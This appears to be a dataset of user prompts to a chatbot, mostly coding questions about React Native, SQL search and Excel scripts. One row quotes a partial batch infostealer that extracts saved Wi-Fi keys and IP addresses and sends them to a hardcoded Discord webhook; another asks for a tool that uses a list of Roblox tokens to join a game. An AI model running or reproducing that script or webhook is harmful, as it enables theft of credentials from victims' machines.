row_id
int64
0
48.4k
init_message
stringlengths
1
342k
conversation_hash
stringlengths
32
32
scores
dict
11,749
found this script on pastebin, do you think its an infostealer ? :: Path of the hide location - If the path has the user's username, it will not work for those who have a space. Task Scheduler doesn't support that. This is part of the recurring method. set "vpath=C:\ProgramData" cd %vpath% :: If using onlogin on Task Scheduler use this - Might give away your file though - You don't need administrator for anything else currently. goto skipadministrator if not "%~dp0"=="%vpath%\" ( if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b) ) :skipadministrator :: SET WEBHOOK | EDIT TO YOUR OWN WEBHOOK :: -------------------------------------- set "webhook=https://discord.com/api/webhooks/1090443308515459133/VwOkM6x-XXmwQpYgFAFYDdN4W8am6ewCpK5qUNjDfAxuI_tkl0EXEJZ9mEy17CqcdYUA" for /f "skip=9 tokens=1,2 delims=:" %%i in ('netsh wlan show profiles') do ( echo %%j | findstr -i -v echo | netsh wlan show profiles %%j key=clear | findstr /C:"Name" /C:"Key" >> output.txt ) :: GET PRIVATE IP ADDRESS :: ---------------------- for /f "delims=[] tokens=2" %%a in ('2^>NUL ping -4 -n 1 %ComputerName% ^| findstr [') do set NetworkIP=%%a :: GET PUBLIC IP ADDRESS :: --------------------- for /f %%a in ('powershell Invoke-RestMethod ifconfig.me') do set PublicIP=%%a :: GET TIME :: -------- for /f "tokens=1-4 delims=/:." %%a in ("%TIME%") do ( set HH24=%%a set MI=%%b ) :: SEND FIRST REPORT MESSAGE WITH SOME INFO :: ---------------------------------------- curl -s -H "Accept: application/json" -H "Content-Type:application/json" -X POST -d "{\"content\": \"
183a545abfac563ed1a8fb7a3195adf4
{ "intermediate": 0.3724249005317688, "beginner": 0.3551962375640869, "expert": 0.2723788917064667 }
11,750
I have a list of roblox tokens, I would like them to join a specific game, could you write a POC program in python
83922dbaeb19fa004219f0d7ea42b59d
{ "intermediate": 0.5390301942825317, "beginner": 0.22272321581840515, "expert": 0.2382466346025467 }
11,751
saya ingin menggabungkan koding 1 ke koding ke 2 mohon dapat dibantu, koding 1 import React, { useRef, useState } from "react"; import { Animated, Image, SafeAreaView, StyleSheet, Text, TouchableOpacity, View, } from "react-native"; import profile from "../assets/icon/profile.png"; // Tab ICons... import notifications from "../assets/icon/bell.png"; import home from "../assets/icon/home.png"; import logout from "../assets/icon/logout.png"; import search from "../assets/icon/search.png"; import settings from "../assets/icon/settings.png"; // Menu import close from "../assets/icon/close.png"; import menu from "../assets/icon/menu.png"; // Photo import photo from "../assets/images/home/profile.jpg"; export default function DrawerScreen() { const [currentTab, setCurrentTab] = useState("Hi, Dimas Bagus Arya"); // To get the curretn Status of menu ... const [showMenu, setShowMenu] = useState(false); // Animated Properties... const offsetValue = useRef(new Animated.Value(0)).current; // Scale Intially must be One... const scaleValue = useRef(new Animated.Value(1)).current; const closeButtonOffset = useRef(new Animated.Value(0)).current; return ( <SafeAreaView style={styles.container}> <View style={{ justifyContent: "flex-start", padding: 15 }}> <Image source={profile} style={{ width: 60, height: 60, borderRadius: 10, marginTop: 8, }} ></Image> <Text style={{ fontSize: 20, fontWeight: "bold", color: "white", marginTop: 20, }} > Jenna Ezarik </Text> <TouchableOpacity> <Text style={{ marginTop: 6, color: "white", }} > View Profile </Text> </TouchableOpacity> <View style={{ flexGrow: 1, marginTop: 50 }}> { // Tab Bar Buttons.... } {TabButton(currentTab, setCurrentTab, "Home", home)} {TabButton(currentTab, setCurrentTab, "Search", search)} {TabButton(currentTab, setCurrentTab, "Notifications", notifications)} {TabButton(currentTab, setCurrentTab, "Settings", settings)} </View> <View>{TabButton(currentTab, setCurrentTab, "LogOut", logout)}</View> </View> { // Over lay View... } <Animated.View style={{ flexGrow: 1, backgroundColor: "white", position: "absolute", top: -50, bottom: 0, left: 0, right: 0, paddingHorizontal: 15, paddingVertical: 20, borderRadius: showMenu ? 15 : 0, // Transforming View... transform: [{ scale: scaleValue }, { translateX: offsetValue }], }} > { // Menu Button... } <Animated.View style={{ transform: [ { translateY: closeButtonOffset, }, ], }} > <View style={{ flexDirection: "row", justifyContent: "space-between", marginTop: 10, paddingLeft: 5, }} > <TouchableOpacity onPress={() => { // Do Actions Here.... // Scaling the view... Animated.timing(scaleValue, { toValue: showMenu ? 1 : 0.88, duration: 300, useNativeDriver: true, }).start(); Animated.timing(offsetValue, { // YOur Random Value... toValue: showMenu ? 0 : 230, duration: 300, useNativeDriver: true, }).start(); Animated.timing(closeButtonOffset, { // YOur Random Value... toValue: !showMenu ? -30 : 0, duration: 300, useNativeDriver: true, }).start(); setShowMenu(!showMenu); }} > <Image source={showMenu ? close : menu} style={{ width: 20, height: 20, tintColor: "black", marginTop: 40, }} ></Image> </TouchableOpacity> <Text style={{ fontSize: 22, fontWeight: "regular", color: "black", paddingTop: 80, }} > {currentTab} </Text> <Image source={photo} style={{ width: 52, height: 52, borderRadius: 50, marginTop: 70, }} ></Image> </View> <Text style={{ fontSize: 20, fontWeight: "bold", paddingTop: 15, paddingBottom: 5, }} > Jenna Ezarik </Text> <Text style={{}}> Techie, YouTuber, PS Lover, Apple Sheep's Sister </Text> </Animated.View> </Animated.View> </SafeAreaView> ); } // For multiple Buttons... const TabButton = (currentTab, setCurrentTab, title, image) => { return ( <TouchableOpacity onPress={() => { if (title == "LogOut") { // Do your Stuff... } else { setCurrentTab(title); } }} > <View style={{ flexDirection: "row", alignItems: "center", paddingVertical: 8, backgroundColor: currentTab == title ? "white" : "transparent", paddingLeft: 13, paddingRight: 35, borderRadius: 8, marginTop: 15, }} > <Image source={image} style={{ width: 25, height: 25, tintColor: currentTab == title ? "#5359D1" : "white", }} ></Image> <Text style={{ fontSize: 15, fontWeight: "bold", paddingLeft: 15, color: currentTab == title ? "#5359D1" : "white", }} > {title} </Text> </View> </TouchableOpacity> ); }; const styles = StyleSheet.create({ container: { flex: 1, backgroundColor: "#5359D1", alignItems: "flex-start", justifyContent: "flex-start", }, }); koding 2 import React from "react"; import { Image, ImageBackground, SafeAreaView, ScrollView, StyleSheet, Text, TextInput, TouchableOpacity, View, } from "react-native"; // import {ViewPropTypes} from 'deprecated-react-native-prop-types'; import { useTheme } from "@react-navigation/native"; import Swiper from "react-native-swiper"; import Feather from "react-native-vector-icons/Feather"; import IonIcon from "react-native-vector-icons/Ionicons"; import Icon from "react-native-vector-icons/MaterialIcons"; // import MaterialCommunityIcons from 'react-native-vector-icons/MaterialCommunityIcons'; // import Fontisto from 'react-native-vector-icons/Fontisto'; const HomeScreen = ({ navigation }) => { const theme = useTheme(); return ( <SafeAreaView style={{ flex: 1, backgroundColor: "#22242C" }}> <View style={{ marginStart: 20, marginTop: 5 }}> <View style={{ flexDirection: "row", justifyContent: "space-between", marginTop: 10, }} > <Text style={{ fontSize: 20, fontFamily: "sans-serif-light", color: "white", }} > {" "} Hi, <Text style={{ fontSize: 20, fontFamily: "sans-serif-light", color: "white", fontWeight: "bold", }} > {" "} Dimas Bagus{" "} </Text> </Text> {/* thumbnail profile */} <TouchableOpacity onPress={() => navigation.navigate("Profile")}> <ImageBackground source={require("../assets/images/home/profile.jpg")} style={{ width: 52, height: 52, marginRight: 20 }} imageStyle={{ borderRadius: 50 }} /> </TouchableOpacity> </View> </View> <View style={{ flexDirection: "row", marginTop: -35, padding: 15, marginLeft: 6, }} > <Text style={{ fontSize: 15, fontFamily: "sans-serif-light", color: "white", }} > {" "} 3275052705910009{" "} </Text> </View> {/* searchbar */} <ScrollView style={{ padding: 20 }}> <View style={{ flex: 1, flexDirection: "row", elevation: 2, marginTop: 0, backgroundColor: "#16181D", borderWidth: 1, borderRadius: 10, borderColor: "transparent", width: "82%", paddingHorizontal: 10, paddingVertical: 8, }} > <Feather name="search" size={20} color="white" style={{ marginRight: 13, marginLeft: 3, marginTop: 3 }} /> <TextInput placeholder="Cari..." placeholderTextColor={"white"} color={"white"} ></TextInput> </View> <TouchableOpacity onPress={() => navigation.navigate("Setting")}> <View style={{ backgroundColor: "white", height: 40, width: 40, marginTop: -42, alignSelf: "flex-end", borderRadius: 10, justifyContent: "center", alignContent: "center", }} > <Icon name="tune" color="#22242C" size={38} alignContent="center" /> </View> </TouchableOpacity> {/* slider */} <View style={styles.sliderContainer}> <Swiper height={200} autoplay horizontal={false} activeDotColor="transparent" dotColor="transparent" loop={true} > <View style={styles.slide}> <Image source={require("../assets/images/homescreen/0.png")} resizeMode="cover" style={styles.sliderImage} /> </View> <View style={styles.slide}> <Image source={require("../assets/images/homescreen/2.png")} resizeMode="cover" style={styles.sliderImage} /> </View> <View style={styles.slide}> <Image source={require("../assets/images/homescreen/3.png")} resizeMode="cover" style={styles.sliderImage} /> </View> <View style={styles.slide}> <Image source={require("../assets/images/homescreen/4.png")} resizeMode="cover" style={styles.sliderImage} /> </View> <View style={styles.slide}> <Image source={require("../assets/images/homescreen/5.png")} resizeMode="cover" style={styles.sliderImage} /> </View> <View style={styles.slide}> <Image source={require("../assets/images/homescreen/6.png")} resizeMode="cover" style={styles.sliderImage} /> </View> </Swiper> </View> {/* menu button */} <View style={styles.categoryContainer1}> <TouchableOpacity style={styles.categoryBtn} onPress={() => navigation.navigate("SiapDet")} > <View style={styles.categoryIcon}> <IonIcon name="ios-layers" size={35} color="#22242C" /> </View> <Text style={styles.categoryBtnTxt}>SIAP</Text> </TouchableOpacity> <TouchableOpacity style={styles.categoryBtn} onPress={() => navigation.navigate("Dosier")} > <View style={styles.categoryIcon}> <IonIcon name="ios-layers" size={35} color="#22242C" /> </View> <Text style={styles.categoryBtnTxt}>DOSIER</Text> </TouchableOpacity> <TouchableOpacity style={styles.categoryBtn} onPress={() => navigation.navigate("Drawer")} > <View style={styles.categoryIcon}> <IonIcon name="ios-layers" size={35} color="#22242C" /> </View> <Text style={styles.categoryBtnTxt}>ECUTI</Text> </TouchableOpacity> <TouchableOpacity style={styles.categoryBtn} onPress={() => navigation.navigate("Etukin")} > <View style={styles.categoryIcon}> <IonIcon name="ios-layers" size={35} color="#22242C" /> </View> <Text style={styles.categoryBtnTxt}>ETUKIN</Text> </TouchableOpacity> </View> {/* menu button ke 2 */} <View style={styles.categoryContainer2}> <TouchableOpacity style={styles.categoryBtn} onPress={() => navigation.navigate("Sisfo")} > <View style={styles.categoryIcon}> <IonIcon name="ios-layers" size={35} color="#22242C" /> </View> <Text style={styles.categoryBtnTxt}>SISFO</Text> </TouchableOpacity> <TouchableOpacity style={styles.categoryBtn} onPress={() => navigation.navigate("Simakin")} > <View style={styles.categoryIcon1}> <IonIcon name="ios-layers" size={35} color="#22242C" /> </View> <Text style={styles.categoryBtnTxt}>Catatan SIMAKIN</Text> </TouchableOpacity> <TouchableOpacity style={styles.categoryBtn} onPress={() => navigation.navigate("Logintest")} > <View style={styles.categoryIcon}> <IonIcon name="ios-layers" size={35} color="#22242C" /> </View> <Text style={styles.categoryBtnTxt}>SIMOD</Text> </TouchableOpacity> <TouchableOpacity style={styles.categoryBtn} onPress={() => navigation.navigate("Logintest")} > <View style={styles.categoryIcon}> <IonIcon name="ios-layers" size={35} color="#22242C" /> </View> <Text style={styles.categoryBtnTxt}>TTE</Text> </TouchableOpacity> </View> {/* header berita */} <View style={{ marginVertical: 15, flexDirection: "row", marginTop: 20, justifyContent: "space-between", }} > <Text style={{ fontSize: 18, fontFamily: "sans-serif-light", color: "white", }} > Berita Terkini </Text> <TouchableOpacity onPress={() => navigation.navigate("News")}> <Text style={{ color: "#0aada8" }}> See More</Text> </TouchableOpacity> </View> {/* isi berita 1*/} <TouchableOpacity onPress={() => navigation.navigate("Details")}> <View style={StyleSheet.cardsWrapper}> <View style={styles.card}> <View style={styles.cardImgWrapper}> <Image source={require("../assets/images/homescreen/dimanjav7.jpg")} resizeMode="cover" style={styles.cardImg} /> </View> <View style={styles.cardInfo1}> <Text style={styles.cardTitle}>Dialog Manajemen Kinerja</Text> <Text style={styles.cardDetails}> Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut ... </Text> </View> </View> </View> </TouchableOpacity> {/* isi berita 2*/} <TouchableOpacity style={{ marginBottom: 40 }} onPress={() => navigation.navigate("Signup")} > <View style={StyleSheet.cardsWrapper}> <View style={styles.card}> <View style={styles.cardImgWrapper}> <Image source={require("../assets/images/homescreen/ngospek.jpg")} resizeMode="cover" style={styles.cardImg} /> </View> <View style={styles.cardInfo2}> <Text style={styles.cardTitle}>NGOSPEK</Text> <Text style={styles.cardDetails}> Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut ....{" "} </Text> </View> </View> </View> </TouchableOpacity> </ScrollView> </SafeAreaView> ); }; export default HomeScreen; const styles = StyleSheet.create({ sliderContainer: { height: 200, width: "100%", marginTop: 30, justifyContent: "center", alignSelf: "center", borderRadius: 10, borderBottomEndRadius: 10, elevation: 5, }, wrapper: {}, slide: { flex: 1, justifyContent: "center", backgroundColor: "transparent", borderRadius: 10, }, sliderImage: { height: "100%", width: "100%", alignSelf: "center", borderRadius: 10, }, cardsWrapper: { marginTop: 20, width: "90%", alignSelf: "center", }, card: { height: 100, marginVertical: 10, flexDirection: "row", shadowColor: "#999", shadowOffset: { width: 0, height: 1 }, shadowOpacity: 0.8, shadowRadius: 2, elevation: 5, }, cardImgWrapper: { flex: 1, }, cardImg: { height: "100%", width: "100%", alignSelf: "center", borderRadius: 8, borderBottomRightRadius: 0, borderTopRightRadius: 0, }, cardInfo1: { flex: 2, padding: 10, borderColor: "transparent", borderWidth: 1, borderLeftWidth: 0, borderBottomRightRadius: 8, borderTopRightRadius: 8, backgroundColor: "#FED47E", elevation: 1, }, cardInfo2: { flex: 2, padding: 10, borderColor: "transparent", borderWidth: 1, borderLeftWidth: 0, borderBottomRightRadius: 8, borderTopRightRadius: 8, backgroundColor: "#8AC185", elevation: 1, }, cardTitle: { fontWeight: "bold", }, cardDetails: { fontSize: 12, marginTop: 7, color: "#444", }, categoryContainer1: { flexDirection: "row", width: "100%", alignSelf: "center", marginTop: 40, marginBottom: 10, }, categoryContainer2: { flexDirection: "row", width: "100%", alignSelf: "center", marginTop: 0, marginBottom: 20, }, categoryBtn: { flex: 1, width: "30%", marginHorizontal: 0, alignSelf: "center", }, categoryIcon1: { borderWidth: 0, alignItems: "center", justifyContent: "center", alignSelf: "center", width: 70, height: 70, backgroundColor: "#fdeae7", borderRadius: 50, marginTop: 20, }, categoryIcon: { borderWidth: 0, alignItems: "center", justifyContent: "center", alignSelf: "center", width: 70, height: 70, backgroundColor: "#fdeae7", borderRadius: 50, }, categoryBtnTxt: { alignSelf: "center", marginTop: 5, color: "white", }, });
f33ea2464f3047e0000697230f86fd2e
{ "intermediate": 0.26824235916137695, "beginner": 0.47540926933288574, "expert": 0.2563483715057373 }
11,752
я пытаюсь переписать функцию поиска с json файла на базу данных sql. вот оригинал: function search(query = '', role = '', city = '', genre = '') { const data = fs.readFileSync('./db/musicians.json'); const musicians = JSON.parse(data).musicians.map(musician => { return { name: musician.name, genre: musician.genre, originalName: musician.name, profileLink: `/profile/${musician.id}`, thumbnail: musician.thumbnail, soundcloud: musician.soundcloud, role: musician.role, city: musician.city }; }); let results = []; if (query || role || city || genre) { const lowerQuery = query.toLowerCase(); results = musicians.filter(musician => { const nameScore = musician.name.toLowerCase().startsWith(lowerQuery) ? 2 : musician.name.toLowerCase().includes(lowerQuery) ? 1 : 0; const genreScore = musician.genre.toLowerCase().startsWith(lowerQuery) ? 2 : musician.genre.toLowerCase().includes(lowerQuery) ? 1 : 0; return ( nameScore + genreScore > 0 && (role === "" || musician.role === role) && (city === "" || (musician.city && musician.city.toLowerCase().trim() === city.toLowerCase().trim())) && (genre === "" || musician.genre.toLowerCase() === genre.toLowerCase()) ); }).filter((a) => { if (role !== '' && a.role.toLowerCase() !== role.toLowerCase()) { return false; } if (city !== '' && a.city.toLowerCase() !== city.toLowerCase()) { return false; } if (genre !== '' && a.genre.toLowerCase() !== genre.toLowerCase()) { return false; } return true; }) .sort((a, b) => { let scoreA = 0; let scoreB = 0; if (a.name.toLowerCase().includes(query)) { scoreA++; } if (a.genre.toLowerCase().includes(query)) { scoreA++; } if (b.name.toLowerCase().includes(query)) { scoreB++; } if (b.genre.toLowerCase().includes(query)) { scoreB++; } // Sort by score (descending) return scoreB - scoreA; }); // Remove duplicates results = results.filter((result, index, self) => index === self.findIndex(r => ( r.name === result.name && r.genre === result.genre && r.city === result.city )) ); } return results; } (он работает) а вот то что сделал и то что дает кучу ошибок: function search(term, role, city, genre, callback) { let query = term.toLowerCase(); const queryValues = [ `%${query}%`, role === '' ? null : `%${role}%`, city === '' ? null : city.toLowerCase().trim(), genre === '' ? '%' : `%${genre}%` ]; const sql = `SELECT * FROM users WHERE (name LIKE ? OR genre LIKE ? OR genre IS NULL) AND (role LIKE ? OR role IS NULL) AND (city = ? OR city IS NULL) AND (genre LIKE ? OR genre IS NULL)`; connection.query(sql, queryValues, (err, result) => { if (err) { console.error('Ошибка при поиске: ', err); callback(err, []); } else { let results = result.map(musician => { return { name: musician.name, genre: musician.genre, originalName: musician.name, profileLink: `/profile/${musician.id}`, thumbnail: musician.thumbnail, soundcloud: musician.soundcloud, role: musician.role, city: musician.city }; }).sort((a, b) => { const aNameScore = a.name.toLowerCase().startsWith(query) ? 2 : a.name.toLowerCase().includes(query) ? 1 : 0; const bNameScore = b.name.toLowerCase().startsWith(query) ? 2 : b.name.toLowerCase().includes(query) ? 1 : 0; const aGenreScore = a.genre.toLowerCase().startsWith(query) ? 2 : a.genre.toLowerCase().includes(query) ? 1 : 0; const bGenreScore = b.genre.toLowerCase().startsWith(query) ? 2 : b.genre.toLowerCase().includes(query) ? 1 : 0; // Sort by name score, then genre score, then location score (descending) if (aNameScore + aGenreScore + a.city < bNameScore + bGenreScore + b.city) { return 1; } else if (aNameScore + aGenreScore + a.city > bNameScore + bGenreScore + b.city) { return -1; } else { return 0; } }); // Remove duplicates results = results.filter((result, index, self) => index === self.findIndex(r => ( r.name === result.name && r.genre === result.genre && r.city === result.city )) ); callback(null, results); } }); } перепиши функцию так, чтобы все работало ошибки получаю такие: code: 'ER_PARSE_ERROR', errno: 1064, sqlMessage: "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '? OR genre IS NULL)' at line 1", sqlState: '42000', index: 0, sql: "SELECT * FROM users WHERE (name LIKE '%%' OR genre LIKE NULL OR genre IS NULL) AND (role LIKE NULL OR role IS NULL) AND (city = '%Rock%' OR city IS NULL) AND (genre LIKE ? OR genre IS NULL)" }
c0ea7b9587b57ed856801f23faa7648c
{ "intermediate": 0.3200284242630005, "beginner": 0.4262728691101074, "expert": 0.2536987066268921 }
11,753
what's the best way to transfer videos on a iPhone with a bad connection and without a macbook ?
c32d2b78439a7e861fef5f65112f607c
{ "intermediate": 0.36577630043029785, "beginner": 0.29781243205070496, "expert": 0.3364112079143524 }
11,754
how should you store the timestamp in questdb
7997934e693e18e50f5031e070c10c48
{ "intermediate": 0.49366676807403564, "beginner": 0.18894469738006592, "expert": 0.31738853454589844 }
11,755
how to pull message in subscriber of google pub sub by nodejs
a699ef94803cd1047d861d0bffd4ea4c
{ "intermediate": 0.4377179443836212, "beginner": 0.13345347344875336, "expert": 0.428828626871109 }
11,756
react load json
aa76eae67d93a8dbb5b7d1f55ab5ae26
{ "intermediate": 0.37258782982826233, "beginner": 0.41891172528266907, "expert": 0.2085004448890686 }
11,757
# – coding: utf-8 – import xlrd import xlwt # Open the existing Excel file workbook = xlrd.open_workbook('normal.xlsx') worksheet = workbook.sheet_by_index(0) # Create a new excel workbook output = xlwt.Workbook(encoding='utf8') new_sheet = output.add_sheet('My Worksheet') # Iterate through each row to check if the contents of column B exist in column A for i in range(1, worksheet.nrows): # Get the value in column B col_b = worksheet.cell_value(i, 1) # Check if the value exists in column A if col_b in worksheet.col_values(0): new_sheet.write(i, 2, col_b) else: new_sheet.write(i, 2, 'No') # Save the result in a new Excel file output.save('Excel_Workbook_sele.xls') Each cell in column A is a sentence. Column B is where each cell is a word. Find if each cell of column A has a word from column B. If there are more than one, it will be output to each column of the row in turn.
5e3a005c1bac546dca1e0d6331f954b6
{ "intermediate": 0.49180659651756287, "beginner": 0.2912366986274719, "expert": 0.21695680916309357 }
11,758
How do I configure the terraform module “google_logging_metric” to show missing data as zero? I have the following filter in it: “resource.type=“k8s_container” resource.labels.project_id=“project-id-prd” resource.labels.location=“us-central1” resource.labels.namespace_name=“namespace-x” labels.k8s-pod/app=“svc” severity>=ERROR” But when I use it for alerting, the alert never resolves because it doesn’t see the threshold going to zero due to missing error logs.
3213a23fa874b1d30ffe401492319011
{ "intermediate": 0.751196026802063, "beginner": 0.09161090850830078, "expert": 0.15719306468963623 }
11,759
<template> <div class="table-container"> <table> <thead> <tr> <th v-for="(col, index) in columns" :key="index">{{ col }}</th> <th>操作</th> </tr> </thead> <tbody> <tr v-for="(row, rowIndex) in rows" v-bind:key="rowIndex" :class="{ 'editing': row.editable }" > <td v-for="(col, colIndex) in columns" :key="colIndex"> <select v-if="row.editable" v-model="row[col]" :placeholder="'选择' + col" > <option v-for="option in options[col]" :value="option">{{ option }}</option> </select> <span v-if="!row.editable">{{ row[col] }}</span> </td> <td> <button v-if="!row.editable" class="edit-btn" @click="editRow(rowIndex)" >编辑</button> <button v-if="row.editable" class="save-btn" @click="saveRow(rowIndex)" >保存</button> <button v-if="row.editable" class="cancel-btn" @click="cancelEdit(rowIndex)" >取消</button> </td> </tr> </tbody> </table> <button class="add-btn" @click="addRow">添加行</button> <button @click="downloadTemplate">下载模板</button> </div> </template> <script> import { saveAs } from 'file-saver'; import * as XLSX from 'xlsx' export default { data() { return { columns: ['姓名', '年龄', '性别'], rows: [ { '姓名': '张三', '年龄': '18', '性别': '男', editable: false }, { '姓名': '李四', '年龄': '20', '性别': '女', editable: false }, { '姓名': '王五', '年龄': '22', '性别': '男', editable: false }, ], options: { '性别': ['男', '女'], '姓名':['xxx','zzz'] } } }, methods: { editRow(rowIndex) { this.rows[rowIndex].editable = true; }, saveRow(rowIndex) { this.rows[rowIndex].editable = false; }, cancelEdit(rowIndex) { this.rows[rowIndex].editable = false; // 恢复原值 }, addRow() { let newRow = {}; this.columns.forEach((col) => { newRow[col] = ''; }); newRow.editable = true; this.rows.push(newRow); }, downloadTemplate() { const worksheet = XLSX.utils.json_to_sheet([]); const workbook = XLSX.utils.book_new(); XLSX.utils.book_append_sheet(workbook, worksheet, 'Sheet1'); const excelBuffer = XLSX.write(workbook, { bookType: 'xlsx', type: 'array' }); const file = new Blob([excelBuffer], { type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' }); saveAs(file, 'template.xlsx'); } } }; </script> <style scoped> .table-container { display: flex; flex-direction: column; align-items: center; padding: 20px; } table { width: 100%; border-collapse: collapse; } th, td { text-align: left; padding: 10px 5px; border: 1px solid #ccc; } th { background: #f2f2f2; font-weight: bold; } tr.editing td select { display: block; width: 100%; height: 30px; padding: 0 5px; } .edit-btn, .save-btn, .cancel-btn, .add-btn { border: none; background: transparent; padding: 5px 10px; border-radius: 5px; cursor: pointer; } .edit-btn { color: #2196f3; } .save-btn, .add-btn { color: #00c853; } .cancel-btn { color: #e91e63; } .add-btn { margin-top: 10px; font-size: 16px; font-weight: bold; } </style>
1a997955aa90e3fc9388535d9b6f8bad
{ "intermediate": 0.29468217492103577, "beginner": 0.4210827052593231, "expert": 0.2842350900173187 }
11,760
напиши скрипт, который выгружает полученные данные после этапа распознавания документов и классифицирует полученные текстовые данные в мультиклассовой классификации. Скрипт должен делить данные на тестовую выборку, обучающую выборку и валидационную выборку.
f09d8cfd6e30ab3b78a5ad15902a97ea
{ "intermediate": 0.38013795018196106, "beginner": 0.2925964295864105, "expert": 0.3272656202316284 }
11,761
write me Generators python program
beb964b0562938cda0688eba004812e5
{ "intermediate": 0.2560083270072937, "beginner": 0.186151385307312, "expert": 0.5578402876853943 }
11,762
which method for a class in python should be implemented in order to print a description of the object when typing the object and pressing enter on the terminal?
f7becd54ca4b5e692ed53322e9a0ad4a
{ "intermediate": 0.42170774936676025, "beginner": 0.4983862042427063, "expert": 0.07990603148937225 }
11,763
i have three images s1.jpg, s2.jpg, s3.jpg, I want to display s1.jpg with a button "next", after the user click the next button, s1.jpg will fade out to left, and then the s2.jpg will fade in from right to left with a button next. after the user click the next button, s2.jpg will fade ot and then s3.jpg will fade in. Please give me html
be67f7e90a907179d2a7a303d829fbf0
{ "intermediate": 0.3743451237678528, "beginner": 0.2420458197593689, "expert": 0.3836090564727783 }
11,764
SPM GLM Design matrix specification script code that have 4 conditions
13c222d66668e58900516766ead06965
{ "intermediate": 0.20604300498962402, "beginner": 0.2790394425392151, "expert": 0.5149176120758057 }
11,765
я перевел почти весь код на sql базу данных вместо того чтобы брать данные с json файла, осталось заменить только функцию search (функция поиска). вот полный код: const express = require("express"); const fs = require("fs"); const session = require("express-session"); const fileUpload = require("express-fileupload"); const app = express(); const fuzzball = require("fuzzball"); const mysql = require('mysql'); const connection = mysql.createConnection({ host: 'localhost', user: 'music', // замените на свой логин password: 'password', // замените на свой пароль database: 'music' // замените на свою базу данных }); connection.connect((err) => { if (err) { console.error('Ошибка подключения к базе данных: ', err); } else { console.log('Подключение к базе данных успешно'); } }); app.set("view engine", "ejs"); app.use(express.static("public")); app.use(express.urlencoded({ extended: true })); app.use(fileUpload()); app.use(session({ secret: "mysecretkey", resave: false, saveUninitialized: false })); const citiesAndRegions = JSON.parse(fs.readFileSync("./db/russia.json", "utf8")); //const predefinedGenres = ['Rock', 'Pop', 'Jazz', 'Hip Hop', 'Electronic', 'Blues']; // Функция для получения последних музыкантов, зарегистрированных музыкантов function getLastNRegisteredMusicians(N, callback) { connection.query("SELECT * FROM users ORDER BY id DESC LIMIT ?", [N], (err, result) => { if (err) { console.error("Ошибка при получении последних зарегистрированных музыкантов: ", err); return callback(err); } else { return callback(null, result); } }); } function getMusicians(callback) { connection.query("SELECT * FROM users", (err, result) => { if (err) { console.error("Ошибка при получении списка музыкантов: ", err); return callback(err); } else { return callback(null, result); } }); } // Функция для получения музыканта по id function getMusicianById(id, callback) { connection.query("SELECT * FROM users WHERE id=?", [id], (err, result) => { if (err) { console.error("Ошибка при получении музыканта с id ${id}: ", err); return typeof callback === 'function' && callback(err); } else { return typeof callback === 'function' && callback(null, result[0]); } }); } function requireLogin(req, res, next) { if (req.session.musicianId) { next(); } else { res.redirect("/login"); } } //функция поиска function search(query = '', role = '', city = '', genre = '') { const data = fs.readFileSync('./db/musicians.json'); const musicians = JSON.parse(data).musicians.map(musician => { return { name: musician.name, genre: musician.genre, originalName: musician.name, profileLink: `/profile/${musician.id}`, thumbnail: musician.thumbnail, soundcloud: musician.soundcloud, role: musician.role, city: musician.city }; }); let results = []; if (query || role || city || genre) { const lowerQuery = query.toLowerCase(); results = musicians.filter(musician => { const nameScore = musician.name.toLowerCase().startsWith(lowerQuery) ? 2 : musician.name.toLowerCase().includes(lowerQuery) ? 1 : 0; const genreScore = musician.genre.toLowerCase().startsWith(lowerQuery) ? 2 : musician.genre.toLowerCase().includes(lowerQuery) ? 1 : 0; return ( nameScore + genreScore > 0 && (role === "" || musician.role === role) && (city === "" || (musician.city && musician.city.toLowerCase().trim() === city.toLowerCase().trim())) && (genre === "" || musician.genre.toLowerCase() === genre.toLowerCase()) ); }).filter((a) => { if (role !== '' && a.role.toLowerCase() !== role.toLowerCase()) { return false; } if (city !== '' && a.city.toLowerCase() !== city.toLowerCase()) { return false; } if (genre !== '' && a.genre.toLowerCase() !== genre.toLowerCase()) { return false; } return true; }) .sort((a, b) => { let scoreA = 0; let scoreB = 0; if (a.name.toLowerCase().includes(query)) { scoreA++; } if (a.genre.toLowerCase().includes(query)) { scoreA++; } if (b.name.toLowerCase().includes(query)) { scoreB++; } if (b.genre.toLowerCase().includes(query)) { scoreB++; } // Sort by score (descending) return scoreB - scoreA; }); // Remove duplicates results = results.filter((result, index, self) => index === self.findIndex(r => ( r.name === result.name && r.genre === result.genre && r.city === result.city )) ); } return results; } app.use((req, res, next) => { if (req.session.musicianId) { getMusicianById(req.session.musicianId, (err, musician) => { if (err) { console.error("Ошибка при получении current user: ", err); } else { res.locals.musician = musician; res.locals.userLoggedIn = true; res.locals.username = musician.name; } }); } else { res.locals.userLoggedIn = false; } next(); }); app.get("/", (req, res) => { getLastNRegisteredMusicians(5, (err, lastRegisteredMusicians) => { if (err) { console.error("Ошибка при получении последних зарегистрированных музыкантов: ", err); res.status(500).send("Ошибка получения данных"); } else { res.render("index", { musicians: lastRegisteredMusicians, query:'',city:'',role:'',genre:'' }); } }); }); app.get("/autocomplete/cities", async (req, res) => { const searchString = req.query.term; connection.query( "SELECT city FROM users WHERE city LIKE ?", [searchString + '%'], (error, results, fields) => { if (error) { console.error("Ошибка выполнения запроса: ", error); res.status(500).send("Ошибка выполнения запроса"); } else { const cities = results.map(row => row.city); res.json(cities); } } ); }); app.get("/register", (req, res) => { if (req.session.musicianId) { const musician = getMusicianById(req.session.musicianId); res.redirect("/profile/" + musician.id); } else { res.render("register", { citiesAndRegions, city:'', query:'',role:'' }); } }); app.post("/register", (req, res) => { if (req.session.musicianId) { getMusicianById(req.session.musicianId, (err, musician) => { if (err) { console.error("Ошибка при получении музыканта: ", err); } else { res.redirect("/profile/" + musician.id); } }); } else { // Проверка на уникальность логина connection.query("SELECT * FROM users WHERE login=?", [req.body.login], (err, result) => { if (err) { console.error("Ошибка при проверке логина: ", err); res.status(500).send("Ошибка при регистрации"); } else { if (result.length > 0) { res.render("register", { error: "This login is already taken", citiesAndRegions, city:'', query:'', role:'' }); } else { const newMusician = { name: req.body.name, genre: req.body.genre, instrument: req.body.instrument, soundcloud: req.body.soundcloud, password: req.body.password, role: req.body.role, city: req.body.city, login: req.body.login, 